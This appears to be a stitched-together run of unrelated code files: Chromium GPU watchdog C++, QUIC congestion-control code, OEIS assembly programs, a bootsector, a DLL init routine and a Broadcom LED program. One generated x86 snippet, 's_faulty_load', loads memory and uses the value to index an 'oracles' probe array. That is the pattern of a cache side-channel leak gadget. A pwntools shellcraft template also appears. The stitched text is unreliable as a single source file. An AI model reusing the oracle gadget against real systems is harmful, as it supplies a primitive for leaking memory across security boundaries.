}
void GpuWatchdogThread::WatchedThreadNeedsMoreThreadTimeHistogram(
bool no_gpu_hang_detected,
bool start_of_more_thread_time) {
if (start_of_more_thread_time) {
// This is the start of allowing more thread time. Only record it once for
// all following timeouts on the same detected gpu hang, so we know this
// is equivlent one crash in our crash reports.
GpuWatchdogTimeoutHistogram(GpuWatchdogTimeoutEvent::kMoreThreadTime);
RecordNumOfUsersWaitingWithExtraThreadTimeHistogram(0);
} else {
if (count_of_more_gpu_thread_time_allowed_ > 0) {
if (no_gpu_hang_detected) {
// If count_of_more_gpu_thread_time_allowed_ > 0, we know extra time was
// extended in the previous OnWatchdogTimeout(). Now we find gpu makes
// progress. Record this case.
GpuWatchdogTimeoutHistogram(
GpuWatchdogTimeoutEvent::kProgressAfterMoreThreadTime);
RecordExtraThreadTimeHistogram();
} else {
if (count_of_more_gpu_thread_time_allowed_ >=
kMaxCountOfMoreGpuThreadTimeAllowed) {
GpuWatchdogTimeoutHistogram(
GpuWatchdogTimeoutEvent::kLessThanFullThreadTimeAfterCapped);
}
}
// Records the number of users who are still waiting. We can use this
// number to calculate the number of users who had already quit.
RecordNumOfUsersWaitingWithExtraThreadTimeHistogram(
count_of_more_gpu_thread_time_allowed_);
// Used by GPU.WatchdogThread.WaitTime later
time_in_wait_for_full_thread_time_ =
count_of_more_gpu_thread_time_allowed_ * watchdog_timeout_;
}
}
}
#endif
bool GpuWatchdogThread::WithinOneMinFromPowerResumed() {
size_t count = base::ClampFloor<size_t>(base::TimeDelta::FromMinutes(1) /
watchdog_timeout_);
return power_resumed_event_ && num_of_timeout_after_power_resume_ <= count;
}
bool GpuWatchdogThread::WithinOneMinFromForegrounded() {
size_t count = base::ClampFloor<size_t>(base::TimeDelta::FromMinutes(1) /
watchdog_timeout_);
return foregrounded_event_ && num_of_timeout_after_foregrounded_ <= count;
}
#if defined(USE_X11)
void GpuWatchdogThread::UpdateActiveTTY() {
last_active_tty_ = active_tty_;
active_tty_ = -1;
char tty_string[8] = {0};
if (tty_file_ && !fseek(tty_file_, 0, SEEK_SET) &&
fread(tty_string, 1, 7, tty_file_)) {
int tty_number;
if (sscanf(tty_string, "tty%d\n", &tty_number) == 1) {
active_tty_ = tty_number;
}
}
}
#endif
bool GpuWatchdogThread::ContinueOnNonHostX11ServerTty() {
#if defined(USE_X11)
if (host_tty_ == -1 || active_tty_ == -1)
return false;
// Don't crash if we're not on the TTY of our host X11 server.
if (active_tty_ != host_tty_) {
// Only record for the time there is a change on TTY
if (last_active_tty_ == active_tty_) {
GpuWatchdogTimeoutHistogram(
GpuWatchdogTimeoutEvent::kContinueOnNonHostServerTty);
}
return true;
}
#endif
return false;
}
// For gpu testing only. Return whether a GPU hang was detected or not.
bool GpuWatchdogThread::IsGpuHangDetectedForTesting() {
DCHECK(is_test_mode_);
return test_result_timeout_and_gpu_hang_.IsSet();
}
// This should be called on the test main thread only. It will wait until the
// power observer is added on the watchdog thread.
void GpuWatchdogThread::WaitForPowerObserverAddedForTesting() {
DCHECK(watched_gpu_task_runner_->BelongsToCurrentThread());
DCHECK(is_add_power_observer_called_);
// Just return if it has been added.
if (is_power_observer_added_)
return;
base::WaitableEvent event;
task_runner()->PostTask(
FROM_HERE,
base::BindOnce(&base::WaitableEvent::Signal, base::Unretained(&event)));
event.Wait();
}
} // namespace gpu
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0xa8ed, %rsi
nop
nop
nop
nop
xor $64903, %r13
mov (%rsi), %r10w
nop
nop
nop
nop
cmp $37012, %rcx
lea addresses_WT_ht+0x15b45, %rsi
lea addresses_normal_ht+0x912d, %rdi
nop
nop
nop
nop
nop
sub %r10, %r10
mov $122, %rcx
rep movsq
nop
nop
dec %r13
pop %rsi
pop %rdi
pop %rcx
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %rax
push %rbx
push %rcx
push %rsi
// Faulty Load
lea addresses_WT+0x138ed, %r11
nop
nop
nop
nop
nop
sub %rax, %rax
movntdqa (%r11), %xmm6
vpextrq $0, %xmm6, %rsi
lea oracles, %rcx
and $0xff, %rsi
shlq $12, %rsi
mov (%rcx,%rsi,1), %rsi
pop %rsi
pop %rcx
pop %rbx
pop %rax
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_WT', 'AVXalign': True, 'size': 4, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_WT', 'AVXalign': False, 'size': 16, 'NT': True, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 11}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': True}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
/** @file
*
* A brief file description
*
* @section license License
*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <tscore/Diags.h>
#include <QUICLossDetector.h>
#define QUICCCDebug(fmt, ...) \
Debug("quic_cc", \
"[%s] " \
"window: %" PRIu32 " bytes: %" PRIu32 " ssthresh: %" PRIu32 " extra: %" PRIu32 " " fmt, \
this->_context.connection_info()->cids().data(), this->_congestion_window, this->_bytes_in_flight, this->_ssthresh, \
this->_extra_packets_count, ##__VA_ARGS__)
#define QUICCCError(fmt, ...) \
Error("quic_cc", \
"[%s] " \
"window: %" PRIu32 " bytes: %" PRIu32 " ssthresh: %" PRIu32 " extra %" PRIu32 " " fmt, \
this->_context.connection_info()->cids().data(), this->_congestion_window, this->_bytes_in_flight, this->_ssthresh, \
this->_extra_packets_count, ##__VA_ARGS__)
QUICNewRenoCongestionController::QUICNewRenoCongestionController(QUICCCContext &context)
: _cc_mutex(new_ProxyMutex()), _context(context)
{
auto &cc_config = context.cc_config();
this->_k_max_datagram_size = cc_config.max_datagram_size();
this->_k_initial_window = cc_config.initial_window();
this->_k_minimum_window = cc_config.minimum_window();
this->_k_loss_reduction_factor = cc_config.loss_reduction_factor();
this->_k_persistent_congestion_threshold = cc_config.persistent_congestion_threshold();
this->reset();
}
void
QUICNewRenoCongestionController::on_packet_sent(size_t bytes_sent)
{
SCOPED_MUTEX_LOCK(lock, this->_cc_mutex, this_ethread());
if (this->_extra_packets_count > 0) {
--this->_extra_packets_count;
}
this->_bytes_in_flight += bytes_sent;
}
bool
QUICNewRenoCongestionController::_in_congestion_recovery(ink_hrtime sent_time)
{
return sent_time <= this->_congestion_recovery_start_time;
}
bool
QUICNewRenoCongestionController::is_app_limited()
{
// FIXME : don't known how does app worked here
return false;
}
void
QUICNewRenoCongestionController::on_packet_acked(const QUICPacketInfo &acked_packet)
{
// Remove from bytes_in_flight.
SCOPED_MUTEX_LOCK(lock, this->_cc_mutex, this_ethread());
this->_bytes_in_flight -= acked_packet.sent_bytes;
if (this->_in_congestion_recovery(acked_packet.time_sent)) {
// Do not increase congestion window in recovery period.
return;
}
if (this->is_app_limited()) {
// Do not increase congestion_window if application
// limited.
return;
}
if (this->_congestion_window < this->_ssthresh) {
// Slow start.
this->_congestion_window += acked_packet.sent_bytes;
QUICCCDebug("slow start window chaged");
} else {
// Congestion avoidance.
this->_congestion_window += this->_k_max_datagram_size * acked_packet.sent_bytes / this->_congestion_window;
QUICCCDebug("Congestion avoidance window changed");
}
}
// addtional code
// the original one is:
// CongestionEvent(sent_time):
void
QUICNewRenoCongestionController::_congestion_event(ink_hrtime sent_time)
{
// Start a new congestion event if packet was sent after the
// start of the previous congestion recovery period.
if (!this->_in_congestion_recovery(sent_time)) {
this->_congestion_recovery_start_time = Thread::get_hrtime();
this->_congestion_window *= this->_k_loss_reduction_factor;
this->_congestion_window = std::max(this->_congestion_window, this->_k_minimum_window);
this->_ssthresh = this->_congestion_window;
}
}
// additional code
// the original one is:
// ProcessECN(ack):
void
QUICNewRenoCongestionController::process_ecn(const QUICPacketInfo &acked_largest_packet,
const QUICAckFrame::EcnSection *ecn_section)
{
// If the ECN-CE counter reported by the peer has increased,
// this could be a new congestion event.
if (ecn_section->ecn_ce_count() > this->_ecn_ce_counter) {
this->_ecn_ce_counter = ecn_section->ecn_ce_count();
// Start a new congestion event if the last acknowledged
// packet was sent after the start of the previous
// recovery epoch.
this->_congestion_event(acked_largest_packet.time_sent);
}
}
bool
QUICNewRenoCongestionController::_in_persistent_congestion(const std::map<QUICPacketNumber, QUICPacketInfo *> &lost_packets,
QUICPacketInfo *largest_lost_packet)
{
ink_hrtime period = this->_context.rtt_provider()->congestion_period(this->_k_persistent_congestion_threshold);
// Determine if all packets in the window before the
// newest lost packet, including the edges, are marked
// lost
return this->_in_window_lost(lost_packets, largest_lost_packet, period);
}
// additional code
// the original one is:
// OnPacketsLost(lost_packets):
void
QUICNewRenoCongestionController::on_packets_lost(const std::map<QUICPacketNumber, QUICPacketInfo *> &lost_packets)
{
if (lost_packets.empty()) {
return;
}
SCOPED_MUTEX_LOCK(lock, this->_cc_mutex, this_ethread());
// Remove lost packets from bytes_in_flight.
for (auto &lost_packet : lost_packets) {
this->_bytes_in_flight -= lost_packet.second->sent_bytes;
}
QUICPacketInfo *largest_lost_packet = lost_packets.rbegin()->second;
this->_congestion_event(largest_lost_packet->time_sent);
// Collapse congestion window if persistent congestion
if (this->_in_persistent_congestion(lost_packets, largest_lost_packet)) {
this->_congestion_window = this->_k_minimum_window;
}
}
bool
QUICNewRenoCongestionController::check_credit() const
{
if (this->_bytes_in_flight >= this->_congestion_window) {
QUICCCDebug("Congestion control pending");
}
return this->_bytes_in_flight < this->_congestion_window;
}
uint32_t
QUICNewRenoCongestionController::credit() const
{
if (this->_extra_packets_count) {
return UINT32_MAX;
}
if (this->check_credit()) {
return this->_congestion_window - this->_bytes_in_flight;
} else {
return 0;
}
}
uint32_t
QUICNewRenoCongestionController::bytes_in_flight() const
{
return this->_bytes_in_flight;
}
uint32_t
QUICNewRenoCongestionController::congestion_window() const
{
return this->_congestion_window;
}
uint32_t
QUICNewRenoCongestionController::current_ssthresh() const
{
return this->_ssthresh;
}
// [draft-17 recovery] 7.9.3. Initialization
void
QUICNewRenoCongestionController::reset()
{
SCOPED_MUTEX_LOCK(lock, this->_cc_mutex, this_ethread());
this->_bytes_in_flight = 0;
this->_congestion_window = this->_k_initial_window;
this->_congestion_recovery_start_time = 0;
this->_ssthresh = UINT32_MAX;
}
bool
QUICNewRenoCongestionController::_in_window_lost(const std::map<QUICPacketNumber, QUICPacketInfo *> &lost_packets,
QUICPacketInfo *largest_lost_packet, ink_hrtime period) const
{
// check whether packets are continuous. return true if all continuous packets are in period
QUICPacketNumber next_expected = UINT64_MAX;
for (auto &it : lost_packets) {
if (it.second->time_sent >= largest_lost_packet->time_sent - period) {
if (next_expected == UINT64_MAX) {
next_expected = it.second->packet_number + 1;
continue;
}
if (next_expected != it.second->packet_number) {
return false;
}
next_expected = it.second->packet_number + 1;
}
}
return next_expected == UINT64_MAX ? false : true;
}
void
QUICNewRenoCongestionController::add_extra_credit()
{
++this->_extra_packets_count;
}
|
<%
from pwnlib.shellcraft.aarch64.linux import syscall
%>
<%page args="timerid"/>
<%docstring>
Invokes the syscall timer_delete. See 'man 2 timer_delete' for more information.
Arguments:
timerid(timer_t): timerid
</%docstring>
${syscall('SYS_timer_delete', timerid)}
|
; A199590: Decimal expansion (unsigned) of the greatest root of 6x^3 + 18x^2 + 12x + 2 = 0.
; Submitted by Jon Maiga
; 2,5,7,7,7,2,8,0,1,0,3,1,4,4,0,8,4,4,7,2,9,4,4,9,3,9,7,2,7,0,6,3,5,8,2,2,7,0,8,9,4,4,1,2,5,7,0,0,9,7,7,3,1,9,7,8,2,3,1,4,6,3,9,3,9,5,8,0,8,6,4,4,5,7,6,7,3,0,5,3,7,0,8,5,8,2,4,9,9,8,0,0,3,1,0,1,5,7,2,3
add $0,1
mov $2,1
mov $3,$0
mul $3,3
lpb $3
add $1,$2
add $5,$2
add $1,$5
add $2,$1
add $5,$1
add $2,$5
sub $3,1
lpe
add $2,$1
mov $4,10
pow $4,$0
div $2,$4
div $1,$2
mov $0,$1
mod $0,10
|
; A119713: First differences are 2, 5, 5, 9, 9, 9, 14, 14, 14, 14, ..., that is, A000096 with m-th term repeated m times (m>=1).
; 0,2,7,12,21,30,39,53,67,81,95,115,135,155,175,195,222,249,276,303,330,357,392,427,462,497,532,567,602,646,690,734,778,822,866,910,954,1008,1062,1116,1170,1224,1278,1332,1386,1440,1505,1570,1635,1700,1765,1830
mov $2,$0
lpb $2
mov $0,$2
lpb $0
add $4,1
trn $0,$4
add $1,$4
lpe
add $1,$4
sub $2,1
mov $4,$3
lpe
mov $0,$1
|
pla
sta {m1}
pla
sta {m1}+1 |
; A317408: a(n) = n * Fibonacci(2n).
; 0,1,6,24,84,275,864,2639,7896,23256,67650,194821,556416,1578109,4449354,12480600,34852944,96949079,268746336,742675211,2046683100,5626200216,15430992126,42235173769,115380647424,314656725625,856733282574,2329224424344,6323840144076,17147315166491,46440262677600,125634925674311,339526715447136,916670371164504,2472597648436794,6663737174819725,17944344427653504,48283873162360309,129825275670454866,348831378627867096,936669133938707400,2513537419586075231,6741027040287417696,18068434051282055939,48403862248108484964,129603023746686725400,346845235018331935734,927792888333806488849,2480674025033199507456,6629790764890630556401,17711242408963095753750,47296007301847028957976,126250447876798704287556,336884270629362851153699,898615498533510437753184,2396172694237016460595775,6387320857452862350924264,17020834228681692814357464,45342896606997259351799346,120755955576965092797813781,321501555299457998452310400,855730365863433833234349421,2277057923741358313865765466,6057566894170160615532797784,16110644843747167241627152704,42837250403195952728862383975,113874752579236482094606645344,302645063208576255384383766779,804160958455284778397176653036,2136281320509592800993615971736,5673913006721645293804448602350,15066704202247483366895592076441,40000709104149073997089137010176,106177705119992405908516384862569,281784742781077876390686905919774,747691250789197753966080432015000,1983580855759135244952935799137724,5261412127440111028526335093317419,13953446113244287124081512455559776,36998937161390115146450923069678391,98090607631535063440013976167679600,260014601565944725745086442879656536,689131102303879060384988945395974186
mov $2,$0
lpb $0
sub $0,1
add $1,$2
add $2,$1
lpe
mov $0,$1
|
; A017399: a(n) = (11*n)^11.
; 0,285311670611,584318301411328,50542106513726817,1196683881290399744,13931233916552734375,103510234140112521216,564154396389137449973,2450808588882738675712,8953382542587164451099,28531167061100000000000,81402749386839761113321,211988959518950443450368,511324276025564512546607,1155388203804953497544704,2467876294615567236328125,5019255990031848807858176,9778171990537733621073763,18336527447218512795850752,33236030376158771102541809,58431830141132800000000000,99938258857146531850367031,166712830744247830760081408,271847743804884990713499397,434153389094810508186353664,680236031081676483154296875,1047192117300356121695451136,1586064857271688421018834553,2366235041392544762971553792,3480947823559350267570691519,5054210651372681700000000000,7249334990994258712381121741,10279436267585226358493544448,14420252845630503161941475187,20025696236621278455959066624,27546601386188352049462890625,37553208211903514205902340096,50761973901033889039170022343,68067390210373163218005624832,90579561525100676704093790229,119668388129039974400000000000,157015295424696847215234267451,204673554139436097229551679488,265138349296877942293007763977,341427877364219557396646723584,437176881962263889213818359375,556744179312404460981246765056,705335875671998020885807527133,889146140866171920765652303872,1115517575161264114534437527939,1393123391655273437500000000000,1732173833607787897772353894161,2144649456231129337232283926528,2644564125962562988946446055767,3248260827692417886246573164544,3974743622404285210611376953125,4846049364771931674565742166016,5887663073045397824501973838923,7128981142649549347984776230912,8603826910927104440971352394649,10351023414011252121600000000000,12415028528548173886807771291871,14846638061556241842956537325568,17703762741766936677696968440557,21052285476014543582194779029504,24967005665310767214189794921875,29532677827851270475656141182976,34845152251059887455474717047713,41012625892600378277804168445952,48157012271803961449924277680359,56415439638913744997300000000000,65941887280686237315442668950581,76908970417978397093687992516608,89509884774760612440022641408347,103960522549317404752220205758464,120501772198025743961334228515625,139402015150844238270475519655936,160959833316325111905101066843503,185506942003406185889984082388992,213411363688294795410734005475069,245080858888273867571200000000000,280966631271107788718223484560291,321567325029779143096799779739648,367433333488435225275454781849137,419171438877565127126121839591424,477449804225475274466492333984375,543003339360006025816079900624896,616639464100068221849345290516293,699244292841921653548332489900032,791789265911123952990416304668779,895338254258716445109900000000000,1011055165330462462330165055011001,1140212079231804336089593374834688,1284197945649659948122178573052927,1444527873376251946774133815568384,1622853045710877495241299267578125,1820971296493920093728055918329856,2040838383054525369214961428956083,2284579993930268906566528057219072,2554504530844906743628446504951489
pow $0,11
mul $0,285311670611
|
; in
add $0,$0
mul $0,$0
mov $1,$0
; out
mul $0,2
pow $0,2
mov $1,$0
|
; Bootsector that prints a message to the screen using BIOS routine
[bits 16]
; Because the BIOS maps our bootsector to 0x7c00 we tell the assembler we will be mapped there so he
; corrects the offsets
[org 0x7c00]
KERNEL_OFFSET equ 0x1000 ; The memory offset to which we load our kernel
mov [BOOT_DRIVE], dl ; BIOS stores the boot drive in dl
mov bp, 0x9000 ; Setup the stack
mov sp, bp
mov bx, MSG_REAL_MODE
call print_string
call load_kernel
call switch_to_pm ; Never return
jmp $
load_kernel:
mov bx, MSG_LOAD_KERNEL
call print_string
mov bx, KERNEL_OFFSET ; Load the first 15(just to be safe) sectors excluding the boot sector
mov dh, 15 ; from our boot drive into the address 0x1000 which is the KERNEL_OFFSET
mov dl, [BOOT_DRIVE]
call disk_load
ret
%include "print_string.asm"
%include "print_hex.asm"
%include "read_disk.asm"
%include "gdt.asm"
%include "switch_to_pm.asm"
[bits 32]:
; Arrive here after switching and initializing pm
BEGIN_PM:
mov ebx, MSG_PROT_MODE
call print_string_pm
call KERNEL_OFFSET ; Jump to the kernel code!
jmp $
BOOT_DRIVE db 0
MSG_REAL_MODE db "Started in 16 bit real mode!", 0
MSG_PROT_MODE db "Successfully landed in 32 bit protected code!", 0
MSG_LOAD_KERNEL db "Loading kernel into memory!", 0
;$$ is the start of the current position
;$ is the address of current position
;$-$$ is how far from the start we are. We need to fill bytes until byte 511 and 512
times 510-($-$$) db 0
; Little endian
dw 0xaa55
|
; COPYRIGHT (c) 1997 xTech Ltd. All Rights Reserved.
; COPYRIGHT (c) 2002, 2003 Excelsior LLC. All Rights Reserved.
;
; PE DLL initialization/termination routine
cpu 386
bits 32
section .data use32 public align=4 public 'DATA'
myHandle: dd 0
finals: dd 0 ; DLL FINALLY list head
O2modules: dd 0 ; O2 type descriptors from modules of this DLL
section .text use32 public align=4 public 'CODE'
;EXPORT
;------
global xDLLinit
global X2C_FINALLY
global X2C_INIT_HISTORY
global X2C_MODULE
global X2C_GetMyHandle
;//////////////////////// Entry point /////////////////////////////
; Library initialization stack frame is defined as follow:
;
; EBP = 0
;
; [ESP+0] = Return address to system, (EAX) = return code.
;
; [ESP+4] = Module handle for library module.
;
; [ESP+8] = reason for what the entry point is called
;
; [ESP+C] - reserved
;
;
; this proc MUST be Win32 StdCall one !!!!!!!!!!!!!!!!!!!!!!
process_attach equ 1
process_detach equ 0
; it has no reaction on thread attachment/detachment ( portable )
extern _dllmain
extern X2C_EXITDLL
;PROCEDURE ["C"] X2C_DISABLE_COMPONENT ( component :xmRTS.X2C_MD );
extern X2C_DISABLE_COMPONENT
;PROCEDURE ["C"] X2C_HISTORY_REG (hmod, someAddr :ADDRESS);
extern X2C_HISTORY_REG
;PROCEDURE ["C"] X2C_EXIT_HISTORY ( hmod :ADDRESS );
extern X2C_EXIT_HISTORY
;PROCEDURE ["C"] X2C_EXIT_PROFILER (isExe: BOOLEAN);
extern X2C_EXIT_PROFILER
..start:
xDLLinit:
mov eax, [esp+8]
cmp eax, process_attach
je dllinit
cmp eax, process_detach
je dllterm
mov eax, 1 ; rc is always TRUE
ret 0CH
dllinit: mov eax, [esp+4]
mov [myHandle], eax
push dword xDLLinit ; arbitrary addr from this code segment
push eax
call X2C_HISTORY_REG ; register before _dllmain to may work when DLL initialization
sub esp, -08H
call _dllmain
mov eax, 1 ; rc is always TRUE
ret 0CH
dllterm: push 00H
call X2C_EXIT_PROFILER
push dword finals
call X2C_EXITDLL
push dword [myHandle]
call X2C_EXIT_HISTORY ;unregister
push dword [O2modules]
call X2C_DISABLE_COMPONENT ;invalidate O2 types
sub esp, -10H
mov eax, 1 ; rc is always TRUE
ret 0CH
;xDLLinit endp
;////////////////////////// Finalization //////////////////////////
;PROCEDURE ["C"] X2C_FINALDLL ( VAR finalHead :ADDRESS; proc :PROC );
extern X2C_FINALDLL
;PROCEDURE ["C"] X2C_FINALLY ( p :PROC );
X2C_FINALLY:
mov eax, [esp+4]
push eax
push dword finals
call X2C_FINALDLL
sub esp, -08H
ret
;X2C_FINALLY endp
;///////////////////////////// History ///////////////////////////////
;PROCEDURE ["C"] X2C_HISTORY_ON ();
extern X2C_HISTORY_ON
;PROCEDURE ["C"] X2C_INIT_HISTORY();
X2C_INIT_HISTORY:
jmp X2C_HISTORY_ON ; to make showable
;X2C_INIT_HISTORY endp
;////////////////////// O2 modules unloading support /////////////////////
extern X2C_MODULEDLL
;PROCEDURE X2C_MODULEDLL (VAR component :xmRTS.X2C_MD;
; md :xmRTS.X2C_MD
; hmod :ADDRESS );
;PROCEDURE ["C"] X2C_MODULE ( md :xmRTS.X2C_MD );
X2C_MODULE:
push dword [myHandle]
mov eax, [esp+8] ;md
push eax
push dword O2modules
call X2C_MODULEDLL
sub esp, -0CH
ret
;X2C_MODULE endp
;////////////////////// DLLRTS support ///////////////////////////////////
;PROCEDURE ["C"] / X2C_GetMyHandle(): ADDRESS;
X2C_GetMyHandle:
mov eax, [myHandle]
ret
;X2C_GetMyHandle endp
|
;
;
;
; This license is set out in https://raw.githubusercontent.com/Broadcom-Network-Switching-Software/OpenBCM/master/Legal/LICENSE file.
;
; Copyright 2007-2019 Broadcom Inc. All rights reserved.
;
;
; This is the default program for the 5665 SDK (BCM95665K4S)
;
; To start it, use the following commands from BCM:
;
; 0:led load sdk5665.hex
; *:led start
;
; The BCM5665 SDK has 26 columns of 4 LEDs each, as shown below:
;
; L01 L03 L05 L07 L09 L11 L13 L15 L17 L19 ... L47 LG1 LG3
; A01 A03 A05 A07 A09 A11 A13 A15 A17 A19 ... A47 AG1 LG3
; L02 L04 L06 L08 L10 L12 L14 L16 L18 L20 ... L48 LG2 LG4
; A02 A04 A06 A08 A10 A12 A14 A16 A18 A20 ... A48 AG2 LG4
;
; There is one bit per LED with the following colors:
; ZERO Green
; ONE Black
;
; The bits are shifted out in the following order:
; A01, L01, ..., A48, L48, AG1, LG1, ..., AG4, LG4
;
; Current implementation:
;
; L01 reflects port 1 link status
; A01 reflects port 1 activity
;
; On the bringup board, the LED polarity is 0 on, 1 off.
;
;
MIN_FE_PORT EQU 0
BREAK_FE_PORT EQU 24
RESUME_FE_PORT EQU 32
MAX_FE_PORT EQU 55
STOP_FE_PORT EQU 56
NUM_FE_PORT EQU 48
MIN_GE_PORT EQU 24
MAX_GE_PORT EQU 27
STOP_GE_PORT EQU 28
NUM_GE_PORT EQU 4
MIN_PORT EQU 0
MAX_PORT EQU 55
NUM_PORT EQU 52
PACK_SRC EQU 0
PACK_DST EQU 128
PACK_NUM EQU 13
;
; Main Update Routine
;
; This routine is called once per tick.
;
update:
sub a,a ; ld a,MIN_FE_PORT (but only one instr)
up1:
call doport
cmp a,BREAK_FE_PORT
jnz up1
ld a,RESUME_FE_PORT
up2:
call doport
cmp a,STOP_FE_PORT
jnz up2
ld a,MIN_GE_PORT
up3:
call doport
cmp a,STOP_GE_PORT
jnz up3
;
; This bit is a workaround for a bug in the 5665 LED processor.
;
; The pack instruction should put the data into data mem at 0x80.
; However, the internal register to store this address is only 7 bits.
; So the data is packed starting at address 0.
; This leads to two caveats:
;
; 1) Port 0 data _MUST_ be consumed before the first pack instruction.
;
; 2) The output data must be moved from location 0 to location 128.
;
;
sub b,b ; ld b,PACK_SRC (but only one instr)
ld a,PACK_DST
packmove:
ld (a),(b)
inc a
inc b
cmp b,PACK_NUM
jnz packmove
send 104 ; (48 + 4) * 2 bits
doport:
port a
ld (PORT_NUM),a
call link_status ; Lower LED for this port
call activity ; Upper LED for this port
; We need to cache the output bits to not stomp Port 0 data.
ld a,(LINK_CACHE)
pushst a
pack
ld a,(ACT_CACHE)
pushst a
pack
ld a,(PORT_NUM)
inc a
ret
activity:
pushst RX
pop
jc act_led_set
pushst TX
pop
jc act_led_set
ld a,ONE ; Off
ld (ACT_CACHE),a
ret
act_led_set:
ld a,ZERO ; On
ld (ACT_CACHE),a
ret
link_status:
ld a,(PORT_NUM) ; Check for link down
ld b,PORTDATA
add b,a
ld b,(b)
tst b,0
jnc ls_led_clear
ld a,ZERO ; On
ld (LINK_CACHE),a
ret
ls_led_clear:
ld a,ONE ; Off
ld (LINK_CACHE),a
ret
;
; Variables (SDK software initializes LED memory from 0x80-0xff to 0)
;
TXRX_ALT_COUNT equ 0xe0
HD_COUNT equ 0xe1
GIG_ALT_COUNT equ 0xe2
PORT_NUM equ 0xe3
LINK_CACHE equ 0xe4
ACT_CACHE equ 0xe5
;
; Port data, which must be updated continually by main CPU's
; linkscan task. See $SDK/src/appl/diag/ledproc.c for examples.
; In this program, bit 0 is assumed to contain the link up/down status.
;
PORTDATA equ 0xa0 ; Size 57 bytes
;
; Symbolic names for the bits of the port status fields
;
